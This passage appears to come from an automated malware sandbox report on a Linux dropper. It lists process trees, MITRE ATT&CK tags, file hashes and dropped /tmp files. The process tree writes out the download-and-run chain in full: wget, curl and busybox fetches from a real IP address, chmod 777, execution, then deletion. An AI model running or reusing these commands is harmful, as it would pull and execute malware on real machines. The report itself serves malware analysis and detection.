  wget http://87.120.84.230/bins/ufy9VGz96uMPbNe15JFU9w4y7dAEwjhlLP
  2⤵
  PID:943
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ufy9VGz96uMPbNe15JFU9w4y7dAEwjhlLP
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:944
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ufy9VGz96uMPbNe15JFU9w4y7dAEwjhlLP
  2⤵
  PID:945
- /bin/chmod
  chmod 777 ufy9VGz96uMPbNe15JFU9w4y7dAEwjhlLP
  2⤵
  - File and Directory Permissions Modification
  PID:946
- /tmp/ufy9VGz96uMPbNe15JFU9w4y7dAEwjhlLP
  ./ufy9VGz96uMPbNe15JFU9w4y7dAEwjhlLP
  2⤵
  - Executes dropped EXE
  PID:947
- /bin/rm
  rm ufy9VGz96uMPbNe15JFU9w4y7dAEwjhlLP
  2⤵
  PID:948
- /usr/bin/wget
  wget http://87.120.84.230/bins/Fg82wuYnzwXHjv4R0Nq8v6DZ9UreFG0UtQ
  2⤵
  PID:949
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Fg82wuYnzwXHjv4R0Nq8v6DZ9UreFG0UtQ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:950
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Fg82wuYnzwXHjv4R0Nq8v6DZ9UreFG0UtQ
  2⤵
  PID:951
- /bin/chmod
  chmod 777 Fg82wuYnzwXHjv4R0Nq8v6DZ9UreFG0UtQ
  2⤵
  - File and Directory Permissions Modification
  PID:952
- /tmp/Fg82wuYnzwXHjv4R0Nq8v6DZ9UreFG0UtQ
  ./Fg82wuYnzwXHjv4R0Nq8v6DZ9UreFG0UtQ
  2⤵
  - Executes dropped EXE
  PID:953
- /bin/rm
  rm Fg82wuYnzwXHjv4R0Nq8v6DZ9UreFG0UtQ
  2⤵
  PID:954
- /usr/bin/wget
  wget http://87.120.84.230/bins/CyJ4lqAaiOnktDQMO2Wk2BwxNlGUH3Q6CK
  2⤵
  PID:955
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/CyJ4lqAaiOnktDQMO2Wk2BwxNlGUH3Q6CK
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:956
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/CyJ4lqAaiOnktDQMO2Wk2BwxNlGUH3Q6CK
  2⤵
  PID:957
- /bin/chmod
  chmod 777 CyJ4lqAaiOnktDQMO2Wk2BwxNlGUH3Q6CK
  2⤵
  - File and Directory Permissions Modification
  PID:958
- /tmp/CyJ4lqAaiOnktDQMO2Wk2BwxNlGUH3Q6CK
  ./CyJ4lqAaiOnktDQMO2Wk2BwxNlGUH3Q6CK
  2⤵
  - Executes dropped EXE
  PID:959
- /bin/rm
  rm CyJ4lqAaiOnktDQMO2Wk2BwxNlGUH3Q6CK
  2⤵
  PID:960
- /usr/bin/wget
  wget http://87.120.84.230/bins/II7FClsKpcmlOZDFNAymmA5CQJS0vlvqxF
  2⤵
  PID:961
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/II7FClsKpcmlOZDFNAymmA5CQJS0vlvqxF
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:962
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/II7FClsKpcmlOZDFNAymmA5CQJS0vlvqxF
  2⤵
  PID:963
- /bin/chmod
  chmod 777 II7FClsKpcmlOZDFNAymmA5CQJS0vlvqxF
  2⤵
  - File and Directory Permissions Modification
  PID:964
- /tmp/II7FClsKpcmlOZDFNAymmA5CQJS0vlvqxF
  ./II7FClsKpcmlOZDFNAymmA5CQJS0vlvqxF
  2⤵
  - Executes dropped EXE
  PID:965
- /bin/rm
  rm II7FClsKpcmlOZDFNAymmA5CQJS0vlvqxF
  2⤵
  PID:966

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO

Path /tmp/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO	725	kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
/tmp/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ	731	60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
/tmp/OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5	740	OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5
/tmp/oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ	765	oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ
/tmp/bQWu8dXtnUrl0nBKlkBRPQgu1vZwPOBZkB	793	bQWu8dXtnUrl0nBKlkBRPQgu1vZwPOBZkB
/tmp/bcP04RAw5csOVTbhqb2pU9NxBhHMDRgMYs	800	bcP04RAw5csOVTbhqb2pU9NxBhHMDRgMYs
/tmp/q3TcjxwTLRGSiWjCvwtgG2MkldB8flghvC	817	q3TcjxwTLRGSiWjCvwtgG2MkldB8flghvC
/tmp/qPRpQbcYDWGHlNxWLV13J3g8Ni6p9Y64XN	842	qPRpQbcYDWGHlNxWLV13J3g8Ni6p9Y64XN
/tmp/DLB4tNJXSvly7bHdbPq04vmbSKXtZRB39H	848	DLB4tNJXSvly7bHdbPq04vmbSKXtZRB39H
/tmp/lT5qFl0XnyIAab7S4Iaz7KMZcKJzFIZtK8	854	lT5qFl0XnyIAab7S4Iaz7KMZcKJzFIZtK8
/tmp/Fg82wuYnzwXHjv4R0Nq8v6DZ9UreFG0UtQ	863	Fg82wuYnzwXHjv4R0Nq8v6DZ9UreFG0UtQ
/tmp/CyJ4lqAaiOnktDQMO2Wk2BwxNlGUH3Q6CK	869	CyJ4lqAaiOnktDQMO2Wk2BwxNlGUH3Q6CK
/tmp/II7FClsKpcmlOZDFNAymmA5CQJS0vlvqxF	875	II7FClsKpcmlOZDFNAymmA5CQJS0vlvqxF
/tmp/ufy9VGz96uMPbNe15JFU9w4y7dAEwjhlLP	881	ufy9VGz96uMPbNe15JFU9w4y7dAEwjhlLP
/tmp/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO	887	kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
/tmp/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ	893	60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
/tmp/OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5	899	OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5
/tmp/q3TcjxwTLRGSiWjCvwtgG2MkldB8flghvC	905	q3TcjxwTLRGSiWjCvwtgG2MkldB8flghvC
/tmp/oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ	911	oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ
/tmp/bQWu8dXtnUrl0nBKlkBRPQgu1vZwPOBZkB	917	bQWu8dXtnUrl0nBKlkBRPQgu1vZwPOBZkB
/tmp/bcP04RAw5csOVTbhqb2pU9NxBhHMDRgMYs	923	bcP04RAw5csOVTbhqb2pU9NxBhHMDRgMYs
/tmp/qPRpQbcYDWGHlNxWLV13J3g8Ni6p9Y64XN	929	qPRpQbcYDWGHlNxWLV13J3g8Ni6p9Y64XN
/tmp/DLB4tNJXSvly7bHdbPq04vmbSKXtZRB39H	935	DLB4tNJXSvly7bHdbPq04vmbSKXtZRB39H
/tmp/lT5qFl0XnyIAab7S4Iaz7KMZcKJzFIZtK8	941	lT5qFl0XnyIAab7S4Iaz7KMZcKJzFIZtK8
/tmp/ufy9VGz96uMPbNe15JFU9w4y7dAEwjhlLP	947	ufy9VGz96uMPbNe15JFU9w4y7dAEwjhlLP
/tmp/Fg82wuYnzwXHjv4R0Nq8v6DZ9UreFG0UtQ	953	Fg82wuYnzwXHjv4R0Nq8v6DZ9UreFG0UtQ
/tmp/CyJ4lqAaiOnktDQMO2Wk2BwxNlGUH3Q6CK	959	CyJ4lqAaiOnktDQMO2Wk2BwxNlGUH3Q6CK
/tmp/II7FClsKpcmlOZDFNAymmA5CQJS0vlvqxF	965	II7FClsKpcmlOZDFNAymmA5CQJS0vlvqxF